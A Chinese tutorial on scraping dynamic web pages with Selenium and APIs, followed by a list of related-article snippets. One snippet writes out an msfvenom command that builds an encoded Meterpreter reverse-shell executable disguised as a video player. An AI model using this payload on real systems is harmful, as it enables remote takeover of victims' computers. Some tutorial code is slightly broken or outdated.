爬虫入门指南(4): 使用Selenium和API爬取动态网页的最佳方法

文章目录

  • 动态网页爬取
  • 静态网页与动态网页的区别
  • 使用Selenium实现动态网页爬取
    • Selenium 的语法及介绍
      • Selenium简介
      • 安装和配置
      • 创建WebDriver对象
        • 页面交互操作
      • 元素定位
    • 等待机制
      • 页面切换和弹窗处理
      • 截图和页面信息获取
      • 关闭WebDriver对象
  • 使用API获取动态数据
  • 未完待续....

动态网页爬取

 动态网页爬取

随着互联网的发展,许多网站开始采用动态网页来呈现内容。与传统的静态网页不同,动态网页使用JavaScript等脚本技术来实现内容的动态加载和更新。这给网页爬取带来了一定的挑战,因为传统的爬虫工具往往只能获取静态网页的内容。本文将介绍如何使用Selenium和API来实现动态网页的爬取

静态网页与动态网页的区别

静态网页与动态网页的区别

静态网页是在服务器端生成并发送给客户端的固定内容,内容在客户端展示时并不会发生变化。而动态网页则是在客户端加载和渲染过程中,通过JavaScript等脚本技术动态生成和更新内容。这使得动态网页的内容无法通过简单地下载HTML源码来获取,而需要模拟浏览器行为来执行脚本并获取最终呈现的内容。

使用Selenium实现动态网页爬取

使用Selenium实现动态网页爬取

Selenium是一个用于自动化浏览器操作的工具,它可以模拟用户在浏览器中的操作,包括点击按钮、填写表单、执行JavaScript等。以下是使用Selenium进行动态网页爬取的基本步骤:

步骤1:安装Selenium库和浏览器驱动程序
首先,我们需要安装Selenium库以及与所使用的浏览器对应的驱动程序。例如,如果使用Google Chrome浏览器,可以下载Chrome Driver并将其添加到系统路径中。

步骤2:创建WebDriver对象
在Python中,可以通过导入selenium模块,并使用相应的驱动程序创建一个WebDriver对象来控制浏览器的行为。

from selenium import webdriver

# 创建Chrome WebDriver对象
driver = webdriver.Chrome()

步骤3:加载动态网页
使用WebDriver对象的get()方法加载目标动态网页。

url = "https://example.com"  # 目标动态网页的URL
driver.get(url)

步骤4:等待动态内容加载完成
由于动态网页的加载是异步进行的,通常需要等待一段时间才能确保所有内容都已加载完成。可以使用Selenium提供的等待机制来实现。

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# 等待10秒钟,直到某个元素可见
wait = WebDriverWait(driver, 10)
element = wait.until(EC.visibility_of_element_located((By.XPATH, "//div[@class='dynamic-content']")))

步骤5:获取动态内容
一旦页面加载完成,可以使用WebDriver对象的各种方法来获取动态生成的内容。例如,可以使用find_element_by_xxx()方法找到特定的元素,并使用其text属性获取文本内容。

element = driver.find_element_by_xpath("//div[@class='dynamic-content']")
content = element.text
print(content)

步骤6:关闭WebDriver对象
最后,记得关闭WebDriver对象,释放资源。

driver.quit()

Selenium 的语法及介绍

Selenium 的语法及介绍

Selenium简介

  • Selenium是一个用于自动化浏览器操作的工具。
  • 它支持多种编程语言(如Python、Java、C#等)。
  • Selenium可以模拟用户在浏览器中的行为,如点击按钮、填写表单、执行JavaScript等。

安装和配置

  • 首先,你需要安装Selenium库。可以使用pip命令在命令行中安装:pip install selenium
  • 然后,下载与所使用的浏览器对应的驱动程序。例如,如果使用Google Chrome浏览器,需要下载Chrome Driver。
  • 将驱动程序路径添加到系统路径中,以便Selenium可以找到它。

创建WebDriver对象

  • 在Python中,使用相应的驱动程序创建一个WebDriver对象。例如,使用Chrome Driver创建Chrome WebDriver对象:
    from selenium import webdriver
    driver = webdriver.Chrome()
    

页面交互操作

  1. 输入文本框中输入文本:

    • 示例:
    # 通过元素定位找到文本框元素,并输入文本 "Hello World"
    element = driver.find_element_by_id("textbox")
    element.send_keys("Hello World")
    
  2. 点击按钮:

    • 示例:
    # 通过元素定位找到按钮元素,并点击按钮
    element = driver.find_element_by_id("button")
    element.click()
    
  3. 清空文本框内容:

    • 示例:
    # 通过元素定位找到文本框元素,并清空内容
    element = driver.find_element_by_id("textbox")
    element.clear()
    
  4. 获取元素的文本内容:

    • 示例:
    # 通过元素定位找到元素,并获取元素的文本内容
    element = driver.find_element_by_id("element")
    text = element.text
    
  5. 获取元素的属性值:

    • 示例:
    # 通过元素定位找到元素,并获取元素的指定属性值
    element = driver.find_element_by_id("element")
    attribute_value = element.get_attribute("attribute_name")
    
  6. 切换到 iframe 窗口:

    • 示例:
    # 通过元素定位找到 iframe 元素,并切换到 iframe 窗口
    iframe = driver.find_element_by_id("iframe")
    driver.switch_to.frame(iframe)
    
  7. 切换回主窗口:

    • 示例:
    # 切换回主窗口
    driver.switch_to.default_content()
    
  8. 下拉框选择选项:

    • 示例:
    from selenium.webdriver.support.ui import Select
    
    # 通过元素定位找到下拉框元素
    select_element = driver.find_element_by_id("selectbox")
    
    # 创建一个 Select 对象
    select = Select(select_element)
    
    # 通过索引选择选项(索引从 0 开始)
    select.select_by_index(0)
    
    # 通过值选择选项
    select.select_by_value("option_value")
    
    # 通过可见文本选择选项
    select.select_by_visible_text("Option Text")
    
  9. 鼠标操作(鼠标移动、单击、双击):

    • 示例:
    from selenium.webdriver import ActionChains
    
    # 创建一个 ActionChains 对象
    action_chains = ActionChains(driver)
    
    # 鼠标移动到指定元素
    element = driver.find_element_by_id("element")
    action_chains.move_to_element(element).perform()
    
    # 单击指定元素
    action_chains.click(element).perform()
    
    # 双击指定元素
    action_chains.double_click(element).perform()
    
  10. 页面滚动操作:

    • 示例:
    # 滚动到指定元素可见位置
    element = driver.find_element_by_id("element")
    driver.execute_script("arguments[0].scrollIntoView();", element)
    
    # 向下滚动到页面底部
    driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
    

元素定位

  1. 通过 ID 定位元素:

    • 示例:
    # 通过 id(username)查找元素
    element = driver.find_element_by_id("username")
    
  2. 通过 Name 定位元素:

    • 示例:
    # 通过 name(email)查找元素
    element = driver.find_element_by_name("email")
    
  3. 通过 Class Name 定位元素:

    • 示例:
    # 通过 class name 查找元素
    element = driver.find_element_by_class_name("button")
    
  4. 通过 Tag Name 定位元素:

    • 示例:
    # 通过 tag name(a)查找元素
    elements = driver.find_elements_by_tag_name("a")
    
  5. 通过 Link Text 定位元素:

    • 示例:
    # 通过链接文本(Click Here)查找链接元素
    element = driver.find_element_by_link_text("Click Here")
    
  6. 通过 Partial Link Text 定位元素:

    • 示例:
    # 通过链接文本的部分内容(Click)查找链接元素
    element = driver.find_element_by_partial_link_text("Click")
    
  7. 通过 XPath 定位元素:

    • 示例:
    # 通过 XPath(//input[@id='username'])查找元素
    element = driver.find_element_by_xpath("//input[@id='username']")
    
  8. 通过 CSS Selector 定位元素:

    • 示例:
    # 通过 CSS Selector(input#username)查找元素
    element = driver.find_element_by_css_selector("input#username")
    
  9. 通过 Tag Name 和索引定位元素:

    • 示例:
    # 通过 tag name(input)和索引(0)查找第一个输入框元素
    element = driver.find_elements_by_tag_name("input")[0]
    
  10. 通过父子关系定位元素:

  • 示例:
 # 通过父元素(div)和子元素的 tag name(input)查找输入框元素
   parent_element = driver.find_element_by_tag_name("div")
   element = parent_element.find_element_by_tag_name("input")

等待机制

等待机制

动态网页加载过程是异步的,所以需要使用等待机制来确保页面上的元素已经加载完成。

  • Selenium提供了等待机制,如WebDriverWait类和expected_conditions模块,可以设置等待时间和条件。
  • 例如,使用visibility_of_element_located()方法等待某个元素可见。
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    wait = WebDriverWait(driver, 10)
    element = wait.until(EC.visibility_of_element_located((By.XPATH, "//div[@class='dynamic-content']")))
    

页面切换和弹窗处理

  • 在页面交互过程中,可能需要切换到其他窗口、帧或处理弹窗。
  • 使用switch_to对象可以实现这些操作。
  • 例如,使用switch_to.window()方法切换到新打开的窗口。
    # 获取所有窗口句柄
    window_handles = driver.window_handles
    
    # 切换到最新打开的窗口
    driver.switch_to.window(window_handles[-1])
    

截图和页面信息获取

  • Selenium可以截取当前浏览器窗口的截图,并获取页面信息。
  • 使用driver.save_screenshot()方法进行截图,并使用driver.page_source属性获取页面源码。
  • 例如,保存截图并获取页面源码:
    driver.save_screenshot("screenshot.png")
    page_source = driver.page_source
    

关闭WebDriver对象

  • 最后,记得关闭WebDriver对象以释放资源。
  • 使用driver.quit()方法关闭WebDriver对象。
    driver.quit()
    

使用API获取动态数据

除了使用Selenium模拟浏览器操作来获取动态网页的内容之外,有些网站也提供了API接口,通过调用该接口可以直接获取动态数据。这种方式通常比使用Selenium更加高效和稳定。

要使用API获取动态数据,首先需要查找目标网站是否提供了相应的API接口,并了解其请求方式和参数。然后可以使用Python的requests库发送HTTP请求,并解析返回的JSON数据。

示例代码:

import requests

url = "https:api.example.com/data"  # API接口URL
params = {"param1": "value1", "param2": "value2"}  # 请求参数

response = requests.get(url, params=params)
data = response.json()

# 处理返回的数据
for item in data["items"]:
    print(item["name"])

在实际使用中,需要根据具体的API接口文档来设置请求方式、参数和头部信息,并根据返回的数据结构进行相应的处理。

未完待续…

未完待续....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/33191.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GB51309实施后对于消防应急照明和疏散指示系统在城市隧道应用中的影响

安科瑞 崔丽洁 【摘要】:应急照明和疏散指示系统被广泛运用于城市隧道、楼宇建筑、地下管廊等各个方面。当隧道这类特殊建筑内出现火灾或事故时,可靠的应急照明和疏散指示系统对于人员的安全逃生有着重要的作用。随着GB51309-2018《消防应急照明和疏散指…

java 调用 opencv 识别图片

前言 opencv 的 github 地址 opencv 官网 本文介绍如何使用 java 来调用 opencv 下载opencv opencv下载 页面根据自己电脑操作系统下载最新的安装包,我这里下载的是 4.7.0 版本。 (4.7.0 版本里的 opencv-470.jar 包是使用 jdk11 编译的&#xff0c…

JVM 常量池、即时编译与解析器、逃逸分析

一、常量池 1.1、常量池使用 的数据结构 常量池底层使用HashTable key 是字符串和长度生成的hashValue,然后再hash生成index, 改index就是key;Value是一个HashTableEntry; 1、key hashValue hash string(name, len) i…

66. 加一

LeetCode-66. 加一 1、题目描述2、解题思路3、代码实现4、解题记录 ) 1、题目描述 题目描述: 给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。 最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。 你可以…

【NLP】用python实现文本转语音处理

一、说明 介绍一款python调用库,离线软件包pyttsx3 API,它能够将文字转化成语音文件。Python 中有多种 API 可用于将文本转换为语音。pyttsx3 是一个非常易于使用的工具,可将输入的文本转换为音频。与其它类似的库不同,它可以离线…

单片机学习12-串口通信

目录 串口通信实验 通信的基本概念 串行通信与并行通信 异步通信与同步通信 单工、半双工与全双工通信 通信速率(比特率) 单片机串口介绍 串口通信简介 串口相关寄存器 串口工作方式 方式 0 方式 1 方式 2 和方式 3 串口的使用方法 硬件设计…

Spring相关API

⭐作者介绍:大二本科网络工程专业在读,持续学习Java,努力输出优质文章 ⭐作者主页:逐梦苍穹 ⭐所属专栏:JavaEE、Spring SpringAPI 1、继承体系2、 getBean() 1、继承体系 上述继承体系中的主要类和接口包括&#xff1…

笔记本安装双系统ubuntu时踩的坑——戴尔

如果你遇到以下的这些问题,不要直接装了,无解!!! 建议看我另一篇教程,把硬盘取出来在另外的电脑上装好系统再放回去,这样嘎嘎快。 移动硬盘中安装Ubuntu 20.04系统——立省99%的问题_放风筝的…

插入排序——希尔排序

希尔排序其实就是一种插入排序,实际上就是通过直接插入排序一步步改进优化而实现的。所以在了解希尔排序之前要明白插入排序的实现原理。 插入排序 其实我觉得插入排序也可以叫做摸牌排序,就是从第二张牌开始处理,将摸到的牌按照合适的顺序插…

解决 An attempt was made to call a method that does not exist. 问题详解

哈喽大家好,我是阿Q。今天在开发代码的过程中,由于手抖,不知道引入了什么包依赖,导致项目启动一直报错,特写本文来记录下解决问题的经过。 文章目录 问题描述报错信息如下报错描述 解决方法总结 有想赚点外块|技术交流…

苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问,Vision Pro在眼球追踪手势的融合交互体验上,给AR/VR头戴设备带来了新突破,在用户体验上的提升非常明显。 ​那么,为什么Vision Pro上这一功能会被如此值得关注呢?为了弄清楚,我们先来看看主流VR设…

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备,其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的?解决碎片率大的问题:内存使用率内回收key 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址,端口,协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置(Imagenet21k-pretraining)finetuning 参数配置(Imagenet-1k) 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache (在启动即可) 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全 链接:https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…